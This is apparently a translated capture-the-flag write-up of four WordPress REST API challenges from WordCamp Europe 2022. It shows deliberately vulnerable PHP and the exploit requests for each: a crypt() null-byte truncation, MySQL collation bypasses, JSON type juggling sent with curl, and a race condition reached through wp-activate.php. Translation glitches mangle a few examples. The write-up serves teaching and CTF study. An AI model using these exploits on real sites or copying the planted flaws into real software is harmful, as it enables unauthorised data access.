在 WordCamp Europe 2022 上夺旗

已发表: 2022-06-13

在 WordCamp Europe 2022 期间,我们举办了一场 WordPress 夺旗 (CTF) 比赛,涵盖四个挑战。

我们想向人们介绍 CTF 令人上瘾的世界,并让人们体验安全研究人员如何进行错误搜索,例如在代码中寻找奇怪的东西并将它们组合起来做一些奇怪的、有时违反直觉的事情。

挑战#1——你幸运吗?

挑战 #2 – 绕过阻止列表?

挑战 #3 – 夺旗许可证

挑战 #4 – CTF 许可证:第 2 部分

如果您有兴趣尝试一下,您仍然可以在此处获取挑战文件:

hackismet-docker.zip下载

挑战 #1 – 你幸运吗? (250 分)

相关代码片段

 register_rest_route( 'hackismet', '/am-i-lucky', [
     'methods' => WP_Rest_Server::READABLE,
     'callback' => 'hackismet_am_i_lucky',
     'permission_callback' => '__return_true',
 ]);

 function hackismet_am_i_lucky( $request ) {
     $flag = get_option( 'secret_hackismet_flag_2' );
     if( hash_equals( crypt( $request['payload'] . $flag . random_bytes(32), '$1$sup3r_s3kr3t_s4lt' ), $request['hash'] ) ) {
        return rest_ensure_response( $flag );
     }
     return rest_ensure_response(false);
 }

如何解决?

这个挑战提出了一个可以通过/wp-json/hackismet/am-i-lucky路由访问的 REST API 端点。 它被设计为接收有效负载和散列请求参数,将request['payload']连接到标志和 32 个加密安全随机字节的字符串,并将生成的散列与request['hash']进行比较。

在阅读 crypt() 函数的文档后,可以发现该函数不是二进制安全的(还没有!),这意味着可以使用空字节 (%00) 在标志之前截断要散列的字符串,并32 个随机字节。 这是因为该函数在 PHP 中的当前实现基本上只是同名底层 C 函数的别名,并且 C 字符串以空字节结尾。

要获得您的标志,您所要做的就是使用您控制的消息和插件代码中使用的加密盐计算哈希,在“hash”参数中使用生成的哈希,然后将您的消息放入“payload”参数,与空字节 (%00) 连接。

这是一个成功的漏洞利用的样子:

/wp-json/hackismet/am-i-lucky?payload=lel%00&hash=$1$sup3r_s3$sThhFzCqsprSVMNFOAm5Q/

挑战 #2 – 绕过阻止列表? (250 分)

相关代码片段

 register_rest_route( 'hackismet', '/get-option/(?P<option_key>\w+)', [
     'methods' => WP_Rest_Server::READABLE,
     'callback' => 'hackismet_get_option',
     'permission_callback' => 'hackismet_validate_option',
 ]);

 function hackismet_validate_option( $request ) {
     $option_key = trim( strtolower( $request['option_key'] ) );
     if( empty( $option_key ) ) {
        return false;
     }
 
     if( ! preg_match( '/^hackismet_/i', $option_key) ) {
        return false;
     }
 
     if( $option_key == 'hackismet_flag_1' ) {
        return false;
     }
     return true;
 }

 function hackismet_get_option( $request ) {
    $option_key = trim( strtolower( $request['option_key'] ) );
    return rest_ensure_response( get_option( $option_key ) );
 }

如何解决?

这个挑战提出了一个可以通过/wp-json/hackismet/get-option/option_key_you_want访问的 REST API 端点。

目标很简单:尝试泄露“hackismet_flag_1”选项。

不幸的是,该端点的权限回调也做了一些事情来阻止您简单地获取站点上的任何选项:

  • 它验证了选项键以“hackismet_”开头。
  • 它还确保您要检索的任何选项都不是标志所在的 hackismet_flag_1。
  • 为了让事情看起来更困难,API 路由限制了哪些字符可以在 option_key 路由参数中出现,只允许匹配\w+正则表达式的字符串。

“hackismet_validate_option”回调函数还使用了“strtolower”和“trim”函数,试图规范化“option_key”参数。 这是为了阻止使用 MySQL 的“utf8mb4_unicode_ci”排序规则中记录良好的行为的尝试,例如字符串比较不区分大小写,并且它也不关心 VARCHAR 列中的尾随空格。

其他整理技巧

为了解决这一挑战,必须找到“utf8mb4_unicode_ci”进行字符串搜索的方式以绕过现有检查的其他特性,并且至少有两种方法可以做到这一点。

口音敏感度

如 MySQL 官方文档中所述:

对于未指定区分重音的非二进制排序规则名称,它由区分大小写决定。

简而言之:口音敏感是一回事。 WordPress 的默认排序规则使用“_ci”组件(表示“不区分大小写”),这意味着排序规则也是不区分重音的。

因此,传递“hackismet_flag_1”将绕过hackismet_validate_option中的检查。

可忽略的权重

MySQL 的 utf8mb4_unicode_ci 排序规则用于比较和排序 Unicode 字符串的 Unicode 排序算法描述了“可忽略权重”的概念,如下所示:


可忽略的权重由从排序元素序列构造排序键的规则传递。 因此,它们在排序规则元素中的存在不会影响使用生成的排序键比较字符串。 在整理元素中明智地分配可忽略的权重是 UCA 的一个重要概念。

简而言之,该算法计算每个排序规则元素(字符)的权重,其中一些被定义为默认权重为零,这实际上使算法在进行字符串比较时忽略它们。

多种方法可以(ab)使用这种行为来应对挑战,包括:

  • 在字符串中的某处添加空字节(例如hackismet_fl%00ag_1
  • 在字符串中插入无效的 UTF-8 序列(例如hackismet_fl%c2%80ag_1

您可以在 MySQL 的 UCA 实现中找到许多其他组合。

绕过“option_key”参数字符限制

“option_key”路由变量被定义为不让 \w+ 以外的任何东西通过。 那是个问题。 PHP 将每个字符串视为一系列字节,而不是像 MySQL 那样的 unicode 字符,因此向“/wp-json/hackismet/get-option/hackismet_flag_1”或“/wp-json/hackismet/get-option/hackismet_fla”发送请求%00g_1” 不起作用。

为了绕过这一点,WordPress 关于编写 REST API 端点的官方文档有所帮助,特别是它说的那一行:

默认情况下,路由接收从请求中传入的所有参数。 这些被合并为一组参数,然后添加到请求对象中,该对象作为第一个参数传递给您的端点

这实际上意味着在访问/wp-json/hackismet/get-option/test?option_key=hackismet_fla%00g_1时,option_key 参数将包含“hackismet_fla%00g_1”,而不是“test”,这也会强制插件给你的标志。

挑战 #3 – 夺旗许可证(500 分)

相关代码片段

 register_rest_route( 'hackismet', '/generate-license/(?P<session_id>[0-9a-f\-]+)/(?P<rounds>\d+)', [
     'methods' => WP_Rest_Server::READABLE,
     'callback' => 'hackismet_generate_license',
     'permission_callback' => '__return_true',
     'args' => [
         'session_id' => [
            'required' => true,
            'type' => 'string',
            'validate_callback' => 'wp_is_uuid'
         ]
     ]
 ]);

 register_rest_route( 'hackismet', '/access-flag-3/(?P<session_id>[0-9a-f\-]+)/(?P<rounds>\d+)', [
     'methods' => WP_Rest_Server::READABLE,
     'callback' => 'hackismet_access_flag_3',
     'permission_callback' => 'hackismet_validate_license',
     'args' => [
         'session_id' => [
            'required' => true,
            'type' => 'string',
            'validate_callback' => 'wp_is_uuid'
         ]
     ]
 ]);

 register_rest_route( 'hackismet', '/delete-license/(?P<session_id>[0-9a-f\-]+)', [
     'methods' => WP_Rest_Server::READABLE,
     'callback' => 'hackismet_delete_license',
     'permission_callback' => '__return_true',
     'args' => [
         'session_id' => [
            'required' => true,
            'type' => 'string',
            'validate_callback' => 'wp_is_uuid'
         ]
     ]
 ]);

 function hackismet_generate_license( $request ) {
     // 128 bits of entropy should be enough to prevent bruteforce.
     $license_key = bin2hex( random_bytes(40) );
     // Here for added security
     for($i = $request['rounds']; $i > 0; $i--) {
         $license_key = str_rot13($license_key);
     }
     // Reset it.
     update_option( 'secret_hackismet_license_key_' . $request['session_id'], bin2hex( random_bytes( 64 ) ) );
     return rest_ensure_response('License successfully generated!');
 }

 function hackismet_delete_license( $request ) {
     // Remove existing key.
     delete_option('secret_hackismet_license_key_' . $request['session_id']);
     return rest_ensure_response('License successfully deleted!');
 }

 function hackismet_validate_license( $request ) {
    // Ensure a key has been set
    if( ! get_option( 'secret_hackismet_license_key_' . $request['session_id'] ) ) {
        return new WP_Error('no_license', 'No license exists for this session_id!');
    }
    $license_key = $request['key'];
     // Here for added security
     for($i = $request['rounds']; $i > 0; $i--) {
         $license_key = str_rot13($license_key);
     }
    if( $license_key == get_option( 'secret_hackismet_license_key_' . $request['session_id'] ) ) {
        return true;
    }
    return false;
 }

 function hackismet_access_flag_3( $request ) {
     return rest_ensure_response( get_option( 'secret_hackismet_flag_3' ) );
 }

如何解决?

这个挑战背后的想法是模拟一个(非常)损坏的许可证管理和验证系统。

虽然这个挑战旨在让参与者利用一个非常深奥的竞争条件漏洞,但挑战设计者的一个微妙疏忽使得它可以使用非预期的、不那么奇特的解决方案来解决。

挑战提出了三个端点,即使只需要两个端点即可获得标志:

  • /hackismet/generate-license/(?P<session_id>[0-9a-f\-]+)/(?<rounds>\d+)
  • /hackismet/access-flag-3/(?P<session_id>[0-9a-f\-]+)/(?<rounds>\d+)
  • /hackismet/delete-license/(?P<session_id>[0-9a-f\-]+)

generate-license端点填充了特定于会话的许可证密钥,然后将使用access-flag-3端点的hackismet_validate_license权限回调对其进行验证。 不幸的是,由于您永远无法看到实际生成的许可证密钥是什么,因此您必须找到一种完全绕过许可证检查的方法才能获得标志。

    $license_key = $request['key'];
     // Here for added security
     for($i = $request['rounds']; $i > 0; $i--) {
         $license_key = str_rot13($license_key);
     }
    if( $license_key == get_option( 'secret_hackismet_license_key_' . $request['session_id'] ) ) {
        return true;
    }

一种方法是让$request['key']包含一个布尔值“true”,而$request['rounds']一个值为零。 通过这样做,您确保$request['key']没有被多次调用str_rot13修改,并且由于许可证验证是使用 PHP 的松散比较运算符完成的,因此比较将始终返回 true。

但是,您不能使用常规的GETPOST参数来做到这一点,因为它们只包含字符串或数组。 幸运的是,WordPress REST API 允许您发送 JSON 请求正文,即使在仅注册为使用 GET HTTP 方法的端点上也是如此。 因此,发送以下请求将为您提供挑战标志:

curl –url 'https://ctfsite.com/wp-json/generate-license/$your_session_id/1234'
curl –url 'https://ctfsite.com/wp-json/access-flag-3/$your_session_id/0' -X GET –data '{"key":true}' -H 'Content-Type: application/json'

挑战 #4 – CTF 许可证:第 2 部分(500 分)

相关代码片段

register_rest_route( 'hackismet', '/access-flag-4/(?P<session_id>[0-9a-f\-]+)/(?P<rounds>\d+)', [
    'methods' => WP_Rest_Server::READABLE,
    'callback' => 'hackismet_access_flag_4',
    'permission_callback' => 'hackismet_validate_license',
    'args' => [
        'session_id' => [
           'required' => true,
           'type' => 'string',
           'validate_callback' => 'wp_is_uuid'
        ],
        'key' => [
            'required' => true,
            'type' => 'string'
        ]
    ]
]);

 function hackismet_access_flag_4( $request ) {
     return rest_ensure_response( get_option( 'secret_hackismet_flag_4' ) );
 }

// (... and basically every other code snippets from Challenge #3! )

如何解决?

这个挑战提出了三个端点(实际上需要使用所有三个端点来解决!):

  • /hackismet/generate-license/(?P<session_id>[0-9a-f\-]+)/(?P<rounds>\d+)
  • /hackismet/delete-license/(?P<session_id>[0-9a-f\-]+)
  • /hackismet/access-flag-4/(?P<session_id>[0-9a-f\-]+)/(?P<rounds>\d+)

如您所见,这些端点与上一个挑战完全相同,现在唯一的区别是我们确保$request['key']是一个字符串,以防止我们在另一个挑战中提到的类型杂耍问题。

不言自明的delete-license路由完全符合您的预期:从数据库中删除当前许可证。 类似地, access-flag-4只是返回了标志,假设它的权限回调hackismet_validate_license允许它发生。

正如您从hackismet_validate_license代码片段中看到的那样,权限回调调用了两次get_option ,一次用于验证许可证密钥,另一次用于实际将其与我们提供的进行比较。 两个调用都由一个 str_rot13 循环分隔,该循环运行的轮次与$request['rounds']路由变量中定义的轮次一样多。

这使得通过在 rounds 变量中发送一个大数字来延迟请求足够长的时间以使我们能够点击/hackismet/delete-license端点,从而在与我们自己的许可证进行比较之前有效地删除许可证,从而有可能发生竞争条件。

如果get_option()没有找到给定的选项,它默认返回布尔值 false 的事实是蛋糕上的樱桃。 由于该函数从不检查$request['key']是否为空,并且当在 PHP 中松散地比较不同类型时,false == “”,这将允许我们完全绕过安全检查。

但这只是理论上的!

缓存来拯救!

从函数的源代码中可以看出, get_option缓存它正在检索的任何选项的结果,因此在同一 HTTP 请求上对该选项的任何进一步请求都不会发送额外的单独 SQL 查询。 仅此一项就可以防止我们的竞争条件攻击起作用。 即使在我们循环所有这些str_rot13调用时另一个请求删除了许可选项,get_option 也不会知道,因为结果已经为该请求缓存了!

再一次,查看源代码,看起来防止这种情况发生的唯一方法是 wp_installing 返回......真的吗? 事实证明,我们可以做到这一点。

WordPress 安装了吗?

wp_installing 函数依赖于 WP_INSTALLING 常量来确定 WordPress 当前是否正在安装或更新自身。 搜索定义了这个常量的地方会导致很少的结果,在我们的例子中最有趣的是 wp-activate.php:

<?php
/**
 * Confirms that the activation key that is sent in an email after a user signs
 * up for a new site matches the key for that user and then displays confirmation.
 *
 * @package WordPress
 */
 
define( 'WP_INSTALLING', true );
 
/** Sets up the WordPress Environment. */
require __DIR__ . '/wp-load.php';
 
require __DIR__ . '/wp-blog-header.php';
 
if ( ! is_multisite() ) {
    wp_redirect( wp_registration_url() );
    die();
}

是什么使它特别适合我们的目的,它首先要做的事情之一就是在 wp-blog-header.php 上运行require()

长话短说:实际启动 REST API 服务器的代码与parse_request操作挂钩,因此只有在 WordPress 内部设置了 The Loop 执行其工作所需的查询变量时,它才可用。

仅当 wp() 函数像在 wp-blog-header.php 中一样被调用时才会发生这种情况。

由于在内部,WordPress 使用 rest_route 参数来知道要加载哪个路由,因此只需将该参数添加到 URL 即可在访问 /wp-activate.php 时启动 API。

因此,最后的攻击看起来像这样:

  1. /wp-activate.php?rest_route=/hackismet/access-flag-4/$session_id/$rounds发送一个请求,其中$rounds是一个相当大的数字,可以让这个请求运行足够长的时间让您执行第 2 步。
  2. 当您的第一个请求在str_rot13循环中被阻止时,向/wp-json/hackismet/delete-license/$session_id发送请求。
  3. 等待您的第一个请求完成,然后获取您的标志。

结论

我们希望您在参加第一版 Jetpack Capture The Flag 比赛时获得与我们举办比赛一样的乐趣。 我们期待在未来的某个时候再次这样做。 要了解有关 CTF 的更多信息,请查看 CTF101.org

学分

挑战设计师:Marc Montpas

特别感谢 Harald Eilertsen 在 WordCamp Europe 亲自宣传,并感谢 Jetpack Scan 团队的反馈、帮助和更正。